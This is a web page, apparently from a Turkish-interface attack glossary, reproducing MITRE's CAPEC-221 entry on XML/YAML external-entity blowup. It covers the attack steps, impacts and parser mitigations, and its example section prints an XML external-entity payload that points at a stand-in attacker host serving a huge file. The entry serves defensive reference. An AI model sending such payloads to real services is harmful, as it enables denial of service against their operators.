COMMON ATTACK PATTERN ENUMERATION AND CLASSIFICATIONMITRE canlı kaydı

CAPEC-221

Data Serialization External Entities Blowup

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

Soyutlama

Detailed

Tipik ciddiyet

High

Saldırı ihtimali

Medium

Saldırıyı anla

Bu saldırı kalıbı nedir?

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

Uygulama akışı

Saldırı adım adım nasıl ilerler?

1

Explore

Find target web service

The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.
2

Experiment

Host malicious file on a server

The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.

Craft malicious data

Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.
3

Exploit

Send serialized data containing URI

The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.

Gereksinimler

Saldırının gerçekleşmesi için ne gerekir?

Ön koşullar

  • A server that has an implementation that accepts entities containing URI values.

Gerekli beceri

MITRE kaydında belirtilmemiş.

Gerekli kaynak

MITRE kaydında belirtilmemiş.

Etki

Başarılı saldırı neye yol açar?

Resource Consumption

Etkilenen alanlar: Availability

Execute Unauthorized Commands

Etkilenen alanlar: Confidentiality, Integrity, Availability

Savunma

Nasıl önlenir ve etkisi azaltılır?

1
This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
2
This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.

Gerçek dünya

MITRE örnek olayları

Örnek olay 1Detay
In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer. <?xml version="1.0"?> < !DOCTYPE bomb [ <!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe"> ]> <bomb>&detonate;</bomb>
CAPEC-221: Data Serialization External Entities Blowup — DayBreach Saldırı Sözlüğü · DayBreach